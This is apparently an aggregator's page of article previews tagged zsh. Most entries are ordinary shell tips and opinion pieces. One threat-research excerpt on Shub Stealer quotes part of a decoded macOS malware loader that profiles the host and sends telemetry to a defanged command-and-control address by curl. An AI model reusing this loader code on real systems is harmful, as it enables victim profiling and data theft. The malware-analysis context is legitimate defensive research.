# zsh

Published articles for zsh.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## Atomic macOS (AMOS) Stealer Activity

DevFeed: [Atomic macOS (AMOS) Stealer Activity](<https://devfeed.tech/articles/atomic-macos-amos-stealer-activity-30906.md>)

Original publisher: [Read original article](<https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/>)

Author: Bradley Duncan

Published: 2026-09-16T10:00:06Z

Content type: article

Language: en

Sources: [Unit 42](<https://devfeed.tech/sources/unit-42.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [Aeternum](<https://devfeed.tech/topics/aeternum.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [sensitive data](<https://devfeed.tech/topics/sensitive-data.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [ClickFix](<https://devfeed.tech/topics/clickfix.md>), [cURL](<https://devfeed.tech/topics/curl.md>)

Tags: [ads](<https://devfeed.tech/tags/ads.md>), [clickfix](<https://devfeed.tech/tags/clickfix.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [cryptocurrency](<https://devfeed.tech/tags/cryptocurrency.md>), [curl](<https://devfeed.tech/tags/curl.md>), [general](<https://devfeed.tech/tags/general.md>), [insights](<https://devfeed.tech/tags/insights.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [sensitive-data](<https://devfeed.tech/tags/sensitive-data.md>), [threat-intelligence](<https://devfeed.tech/tags/threat-intelligence.md>), [unit-42](<https://devfeed.tech/tags/unit-42.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This article analyzes a laboratory-generated Atomic macOS (AMOS) stealer infection observed on Aug. 5, 2026. It describes a deceptive macOS toolkit installation page that led users to paste a command into Terminal, retrieving a Zsh script containing an encoded compressed payload and a follow-up script designed to run a Mach-O binary. AMOS targets macOS and can exfiltrate system information, login credentials, and sensitive data from applications including browsers and cryptocurrency wallets.

### Source excerpt

Modern macOS malware uses deceptive setup guides to steal credentials and sensitive user data. Learn how to identify and block these threats. The post Atomic macOS (AMOS) Stealer Activity appeared first on Unit 42.

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## Zsh 'illegal modifier' with Git Conventional Commits

DevFeed: [Zsh 'illegal modifier' with Git Conventional Commits](<https://devfeed.tech/articles/zsh-illegal-modifier-with-git-conventional-commits-27738.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/12/zsh-illegal-modifier-with-git-conventional-commits/>)

Author: Tom

Published: 2025-12-19T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Git](<https://devfeed.tech/topics/git.md>)

Tags: [command-line-tip](<https://devfeed.tech/tags/command-line-tip.md>), [commit](<https://devfeed.tech/tags/commit.md>), [conventional-commits](<https://devfeed.tech/tags/conventional-commits.md>), [errors](<https://devfeed.tech/tags/errors.md>), [fzf](<https://devfeed.tech/tags/fzf.md>), [git](<https://devfeed.tech/tags/git.md>), [git-commit-error](<https://devfeed.tech/tags/git-commit-error.md>), [github-action](<https://devfeed.tech/tags/github-action.md>), [history-expansion](<https://devfeed.tech/tags/history-expansion.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [no-bang-hist](<https://devfeed.tech/tags/no-bang-hist.md>), [shell-configuration](<https://devfeed.tech/tags/shell-configuration.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-bang-history](<https://devfeed.tech/tags/zsh-bang-history.md>)

### AI overview

This tutorial explains how Zsh history expansion can cause "illegal modifier" errors when using Git Conventional Commits. It shows how disabling the NO_BANG_HIST option allows bang characters to be used in quoted commit messages.

### Source excerpt

Fix ZSH 'illegal modifier' errors with Git Conventional Commits by disabling the NO_BANG_HIST option.

## Running Gemini CLI in a Docker container

DevFeed: [Running Gemini CLI in a Docker container](<https://devfeed.tech/articles/running-gemini-cli-in-a-docker-container-27729.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/10/running-gemini-cli-in-a-docker-container/>)

Author: Tom

Published: 2025-10-31T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Docker](<https://devfeed.tech/topics/docker.md>), [Docker Container](<https://devfeed.tech/topics/docker-container.md>), [Node.js](<https://devfeed.tech/topics/node-js.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Artificial Intelligence](<https://devfeed.tech/topics/ai.md>), [GitHub](<https://devfeed.tech/topics/github.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [bash](<https://devfeed.tech/tags/bash.md>), [cli](<https://devfeed.tech/tags/cli.md>), [developer-tools](<https://devfeed.tech/tags/developer-tools.md>), [docker](<https://devfeed.tech/tags/docker.md>), [docker-container](<https://devfeed.tech/tags/docker-container.md>), [gemini-cli](<https://devfeed.tech/tags/gemini-cli.md>), [github](<https://devfeed.tech/tags/github.md>), [guide](<https://devfeed.tech/tags/guide.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [node-js](<https://devfeed.tech/tags/node-js.md>), [npm](<https://devfeed.tech/tags/npm.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A practical guide to running Google's Gemini CLI in a Docker container instead of installing Node.js and its dependencies directly. It explains the author's custom Docker image, weekly updates, shell integration, configuration persistence, permissions, and interactive usage.

### Source excerpt

Learn how to run Google's Gemini CLI in a Docker container to avoid installing Node.js and its dependencies directly on your system. This guide provides a simple setup, a recommended shell function for seamless integration, and usage examples.

## Nushell, after 8 months

DevFeed: [Nushell, after 8 months](<https://devfeed.tech/articles/nushell-after-8-months-31883.md>)

Original publisher: [Read original article](<https://okmanideep.me/nushell-after-8-months/>)

Author: Manideep Polireddi

Published: 2024-04-29T11:15:00Z

Content type: article

Language: en

Sources: [@okmanideep](<https://devfeed.tech/sources/okmanideep.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Programming](<https://devfeed.tech/topics/programming.md>), [data](<https://devfeed.tech/topics/data.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [cli](<https://devfeed.tech/tags/cli.md>), [csv](<https://devfeed.tech/tags/csv.md>), [json](<https://devfeed.tech/tags/json.md>), [nushell](<https://devfeed.tech/tags/nushell.md>), [powershell](<https://devfeed.tech/tags/powershell.md>), [shell](<https://devfeed.tech/tags/shell.md>), [sqlite](<https://devfeed.tech/tags/sqlite.md>), [yaml](<https://devfeed.tech/tags/yaml.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author reflects on using Nushell as their primary shell for eight months. They find its table-based structured data model useful for CLI work, data wrangling, Kubernetes commands, and processing formats such as CSV, JSON, YAML, TOML, and SQLite, while reporting few problems interoperating with Unix programs that expect plain text.

### Source excerpt

I have been using nushell as my primary shell for the last 8 months and I don't see myself going back to bash or zsh or powershell

## The power of extensive command history in Bash and Zsh

DevFeed: [The power of extensive command history in Bash and Zsh](<https://devfeed.tech/articles/the-power-of-extensive-command-history-in-bash-and-zsh-27706.md>)

Original publisher: [Read original article](<https://gagor.pro/2024/03/the-power-of-extensive-command-history-in-bash-and-zsh/>)

Author: Tom

Published: 2024-03-05T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [bash-history](<https://devfeed.tech/tags/bash-history.md>), [efficiency](<https://devfeed.tech/tags/efficiency.md>), [extensive-command-history](<https://devfeed.tech/tags/extensive-command-history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [linux-shell-tips](<https://devfeed.tech/tags/linux-shell-tips.md>), [macos](<https://devfeed.tech/tags/macos.md>), [macos-shell-tips](<https://devfeed.tech/tags/macos-shell-tips.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [shortcuts](<https://devfeed.tech/tags/shortcuts.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [terminal-productivity](<https://devfeed.tech/tags/terminal-productivity.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-history](<https://devfeed.tech/tags/zsh-history.md>)

### AI overview

This tutorial explains how to maintain and search extensive command history in Bash and Zsh to reduce repeated command lookups and improve terminal efficiency. It discusses history recall, fuzzy finding, and configuration considerations such as overly aggressive deduplication.

### Source excerpt

Learn how to leverage extensive command history in Bash and Zsh to improve your efficiency and productivity in the terminal.

## Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells

DevFeed: [Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells](<https://devfeed.tech/articles/maybe-i-can-stay-in-nushell-or-living-in-a-diverse-land-of-shells-28206.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/nushell/2022/07/20/maybe-i-can-stay-in-nushell.html>)

Author: Fuzzygroup

Published: 2022-07-20T09:36:00Z

Content type: opinion

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command](<https://devfeed.tech/tags/command.md>), [nushell](<https://devfeed.tech/tags/nushell.md>), [rails](<https://devfeed.tech/tags/rails.md>), [ruby](<https://devfeed.tech/tags/ruby.md>), [rvm](<https://devfeed.tech/tags/rvm.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author explains that they can continue using NuShell as their main shell while switching to Bash or Zsh when tools such as RVM require them. A Rails project is successfully created after switching to Bash.

### Source excerpt

I really, really like NuShell. The realization that maybe I had to leave was, I'll admit, mildly crushing. And then I just had the realization that maybe I don't have to leave NuShell and slink back to the dirty, byte infested corners of Bash and Zsh. Here's what just happened: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rails new pool_api --api Rails is not currently installed on this system. To get the latest version, simply type: $ sudo gem install rails You can then rerun your "rails" command. /Users/sjohnson/Sync/coding/flow_analytics/open_source〉ruby -v 07/20/2022 05:34:41 AM ruby 2.6.8p205 (2021-07-07 revision 67951) [universal.x86_64-darwin21] /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rvm use And that was the point when I realized "Oh yeah - RVM doesn't work on NuShell" and then it struck me - I can run Bash: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉/bin/bash 07/20/2022 05:34:57 AM bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/.iterm2_shell_integration.nu: No such file or directory ERROR: Can't find Ruby library file or shared library lunchy usage: dirname string [...] The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. [sjohnson:~/Sync/coding/flow_analytics/open_source] [base] $ rails new pool_api --api create create README.md create Rakefile create .ruby-version create config.ru create .gitignore create .gitattributes create Gemfile run git init from "." ... So maybe my system can mostly run NuShell and I can drop in and out of Bash / Zsh when I need different things. Fingers Crossed.

## Declaring Ruby Bankruptcy, The Ruby Psych 3.1 Issue, RVM and RBEnv

DevFeed: [Declaring Ruby Bankruptcy, The Ruby Psych 3.1 Issue, RVM and RBEnv](<https://devfeed.tech/articles/declaring-ruby-bankruptcy-the-ruby-psych-3-1-issue-rvm-and-rbenv-28316.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/ruby/2022/06/15/declaring-ruby-bankruptcy-the-ruby-psych-3-1-issue-rvm-and-rbenv.html>)

Author: Fuzzygroup

Published: 2022-06-15T06:35:00Z

Content type: opinion

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Ruby](<https://devfeed.tech/topics/ruby.md>), [Development](<https://devfeed.tech/topics/development.md>), [legacy](<https://devfeed.tech/topics/legacy.md>)

Tags: [errors](<https://devfeed.tech/tags/errors.md>), [installation](<https://devfeed.tech/tags/installation.md>), [legacy](<https://devfeed.tech/tags/legacy.md>), [rails](<https://devfeed.tech/tags/rails.md>), [rake](<https://devfeed.tech/tags/rake.md>), [rbenv](<https://devfeed.tech/tags/rbenv.md>), [ruby](<https://devfeed.tech/tags/ruby.md>), [rvm](<https://devfeed.tech/tags/rvm.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A developer describes problems after installing Ruby 3.1 with RVM, including missing psych and failures in bundle install, irb, Rails console, rake, and switching Ruby versions. After removing RVM and rbenv, the author plans to use RVM for Ruby 3.1 and later and rbenv for older projects.

### Source excerpt

I had a bloody awful Sunday three days ago. I had started work on a new application that had Ruby 3.1 set in its Gemfile and I blithely installed Ruby 3.1 using RVM. And then my life began to suck slimy green toads with errors like this: /System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/yaml.rb:3: warning: It seems your ruby installation is missing psych (for YAML output). To eliminate this warning, please install libyaml and reinstall your ruby. I'd like to say that I wasn't quite as diligent in fixing this because, well, it was sunday. However, given the readiness by which most of us generally install new versions of ruby, that wasn't it. We simply aren't used to breaking changes with Ruby. The ctrl blog does a great job of describing this. Thank you. The basic issue is that psych is a low level gem and once it changes, well, your world kind of just breaks. What I pretty much found out immediately is that every single thing I wanted to do with Ruby just failed: bundle install irb rails c rake And, "drum roll" - changing over to a different ruby The fact that I couldn't change over to a different ruby basically meant that I was screwed. I don't think that this was intended. And it is entirely possible that this was some kind of whacky interaction on a development system with, ahem, a lot of rubies and crazy legacy conflicts but that is what happened. Declaring Ruby Bankruptcy Since I couldn 't change rubies, everything just devolved into an amazing pool of suckitude. Not only couldn't I use Ruby, I couldn't blog, run any of my utility scripts, etc. My final answer was to declare ruby bankruptcy and: delete rvm delete rbenv delete all references to rvm and rbenv from zsh and other profile files reboot rm -rf ~/.rvm rm -rf ~/.rbenv reboot I've been a long time Ruby user so this process exposed some craziness like 2.3.1 log files owned by root which couldn't be deleted. Taking a Break This was the point where I threw my hands up, walked away an

## I switched to Zsh

DevFeed: [I switched to Zsh](<https://devfeed.tech/articles/i-switched-to-zsh-27672.md>)

Original publisher: [Read original article](<https://gagor.pro/2021/12/i-switched-to-zsh/>)

Author: Tom

Published: 2021-12-16T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [configuration](<https://devfeed.tech/topics/configuration.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [debian](<https://devfeed.tech/tags/debian.md>), [developer-tools](<https://devfeed.tech/tags/developer-tools.md>), [fonts](<https://devfeed.tech/tags/fonts.md>), [git](<https://devfeed.tech/tags/git.md>), [installation](<https://devfeed.tech/tags/installation.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [powerlevel10k](<https://devfeed.tech/tags/powerlevel10k.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [python](<https://devfeed.tech/tags/python.md>), [shell](<https://devfeed.tech/tags/shell.md>), [switching](<https://devfeed.tech/tags/switching.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A practical guide to switching from Bash to Zsh and configuring Oh My Zsh, Powerlevel10k, plugins, fonts, and Git status indicators for an improved terminal workflow.

### Source excerpt

A guide to switching from bash to Zsh, with Oh My Zsh, Powerlevel10k, and useful plugins for a better terminal experience.

## Why I migrated to the Fish Shell

DevFeed: [Why I migrated to the Fish Shell](<https://devfeed.tech/articles/why-i-migrated-to-the-fish-shell-37715.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/fish/>)

Author: Carlos Alexandro Becker

Published: 2020-12-07T00:00:00Z

Content type: opinion

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Environment Variables](<https://devfeed.tech/topics/environment-variables.md>), [lazy loading](<https://devfeed.tech/topics/lazy-loading.md>), [Scripting](<https://devfeed.tech/topics/scripting.md>)

Tags: [aliases](<https://devfeed.tech/tags/aliases.md>), [bash](<https://devfeed.tech/tags/bash.md>), [environment-variables](<https://devfeed.tech/tags/environment-variables.md>), [lazy-loading](<https://devfeed.tech/tags/lazy-loading.md>), [plugins](<https://devfeed.tech/tags/plugins.md>), [porting](<https://devfeed.tech/tags/porting.md>), [prompt](<https://devfeed.tech/tags/prompt.md>), [scripting](<https://devfeed.tech/tags/scripting.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author explains migrating dotfiles from Zsh to Fish, emphasizing Fish's startup performance, universal variables, lazy loading, and built-in features such as syntax highlighting, autosuggestions, and man-page completions. The article also notes differences from POSIX shells and describes the author's plugin setup.

### Source excerpt

Back in June, I started porting my dotfiles from ZSH to Fish. Here's why.

## Hacktoberfest: Speed up your workflows with ZSH and command line aliases!

DevFeed: [Hacktoberfest: Speed up your workflows with ZSH and command line aliases!](<https://devfeed.tech/articles/hacktoberfest-speed-up-your-workflows-with-zsh-and-command-line-aliases-28381.md>)

Original publisher: [Read original article](<https://siddroid.com/post/post-hacktoberfest-kotlin-mumbai-git-alias-zsh-siddhesh-patil/>)

Author: Siddhesh Patil

Published: 2020-10-24T11:07:06Z

Content type: tutorial

Language: en

Sources: [Sid Patil - Android Engineer and Kotlin Advocate](<https://devfeed.tech/sources/sid-patil-android-engineer-and-kotlin-advocate.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Git](<https://devfeed.tech/topics/git.md>), [Android](<https://devfeed.tech/topics/android.md>)

Tags: [best-android-developer-groups-in-india](<https://devfeed.tech/tags/best-android-developer-groups-in-india.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [commands](<https://devfeed.tech/tags/commands.md>), [customizing-zsh](<https://devfeed.tech/tags/customizing-zsh.md>), [developer-communities-in-mumbai](<https://devfeed.tech/tags/developer-communities-in-mumbai.md>), [faster-workflows-using-zsh](<https://devfeed.tech/tags/faster-workflows-using-zsh.md>), [git](<https://devfeed.tech/tags/git.md>), [guide](<https://devfeed.tech/tags/guide.md>), [hacktoberfest-mumbai](<https://devfeed.tech/tags/hacktoberfest-mumbai.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [installation](<https://devfeed.tech/tags/installation.md>), [kotlin-user-group-mumbai](<https://devfeed.tech/tags/kotlin-user-group-mumbai.md>), [kug](<https://devfeed.tech/tags/kug.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [shell](<https://devfeed.tech/tags/shell.md>), [siddhesh-patil-software-evangelist](<https://devfeed.tech/tags/siddhesh-patil-software-evangelist.md>), [using-ohmyzsh-with-zsh](<https://devfeed.tech/tags/using-ohmyzsh-with-zsh.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A tutorial on using Zsh, Oh My Zsh, and command-line aliases to streamline Android development workflows and common Git tasks.

### Source excerpt

Boost your productivity and workflows while working on Android projects through Z-shell and OhMyZsh. We will learn how to escape the GUI and perform daily git actions through custom command-line aliases.

## Fixing zsh Compaudit Problem on OSX Catalina

DevFeed: [Fixing zsh Compaudit Problem on OSX Catalina](<https://devfeed.tech/articles/fixing-zsh-compaudit-problem-on-osx-catalina-28211.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/osx/2020/06/04/fixing-zsh-compaudit-problem-on-osx-catalina.html>)

Author: Fuzzygroup

Published: 2020-06-04T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [chmod](<https://devfeed.tech/topics/chmod.md>), [osx](<https://devfeed.tech/topics/osx.md>), [Shell](<https://devfeed.tech/topics/shell.md>)

Tags: [catalina](<https://devfeed.tech/tags/catalina.md>), [chmod](<https://devfeed.tech/tags/chmod.md>), [osx](<https://devfeed.tech/tags/osx.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A troubleshooting article about resolving zsh compinit's insecure-directories warning on OSX Catalina. It identifies directory permissions as the issue and gives the command `compaudit | xargs chmod g-w`, reported to fix the problem.

### Source excerpt

Ever since OSX Catalina, every time I open a new shell window I get this error: zsh compinit: insecure directories, run compaudit for list. Ignore insecure directories and continue [y] or abort compinit [n]? y (eval):32: command not found: complete The issue with complete isn't the problem here - it is the insecure directories issue. After a bunch of googling, I found this command: compaudit | xargs chmod g-w which fixed the issue entirely.

## Using Xargs to Get Past Argument List Too Long

DevFeed: [Using Xargs to Get Past Argument List Too Long](<https://devfeed.tech/articles/using-xargs-to-get-past-argument-list-too-long-28190.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/linux/2019/12/12/using-xargs-to-get-past-argument-list-too-long.html>)

Author: Fuzzygroup

Published: 2019-12-12T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [JSON](<https://devfeed.tech/topics/json.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [data](<https://devfeed.tech/topics/data.md>)

Tags: [json](<https://devfeed.tech/tags/json.md>), [linux](<https://devfeed.tech/tags/linux.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A short tutorial explains how to use find and xargs to search approximately 25,000 JSON files without triggering the shell's "argument list too long" error. It also shows how to list only matching filenames with xargs and grep's -l option.

### Source excerpt

This one is a quick one. I have about 25,000 files in a directory that I need to grep across. I tried: grep '"class":0' *.json | more zsh: argument list too long: grep That's a problem because when the argument list is too long, nothing can happen. The solution here is a combination of find and xargs, specifically: find . -name '*.json' | xargs grep '"class":0' Here's the output from this: ./davidson-data-266118b4178f11ea80474c3275928de7.json:{"count":3,"hate_speech":3,"offensive_speech":0,"neither":0,"class":0,"tweet":"\"@JPantsdotcom @Todd__Kincannon @the__realtony I'm partial You should be able to use an approach like this: find -name '*.json' -exec grep '"class":0' but the embedded grep in find doesn't accept that and fails with this error: find: illegal option -- n usage: find [-H | -L | -P] [-EXdsx] [-f path] path ... [expression] find [-H | -L | -P] [-EXdsx] -f path [path ...] [expression] The closest that I can get to make this work is: find . -name '*.json' -exec grep 'class' {} + and that's not an exact match so, sigh. If we return to the original approach and add a -l option flag then we can list only filenames: find . -name '*.json' | xargs grep -l '"class":0' See Also Stack Overflow on Xargs Stack Overflow on Grep Argument List Too Long

## Remove MacOS Catalina zsh nagging

DevFeed: [Remove MacOS Catalina zsh nagging](<https://devfeed.tech/articles/remove-macos-catalina-zsh-nagging-37343.md>)

Original publisher: [Read original article](<https://muffinman.io/blog/remove-macos-catalina-zsh-nagging/>)

Author: Stanko

Published: 2019-12-10T00:00:00Z

Content type: tutorial

Language: en

Sources: [Stanko Tadić](<https://devfeed.tech/sources/stanko-tadic.md>)

Topics: [macOS](<https://devfeed.tech/topics/macos.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [apple](<https://devfeed.tech/tags/apple.md>), [bash](<https://devfeed.tech/tags/bash.md>), [catalina](<https://devfeed.tech/tags/catalina.md>), [export](<https://devfeed.tech/tags/export.md>), [macos](<https://devfeed.tech/tags/macos.md>), [make](<https://devfeed.tech/tags/make.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [shell](<https://devfeed.tech/tags/shell.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A guide for silencing the macOS Catalina warning about the default shell changing from Bash to zsh by setting BASH_SILENCE_DEPRECATION_WARNING=1 in .bash_profile or .bashrc.

### Source excerpt

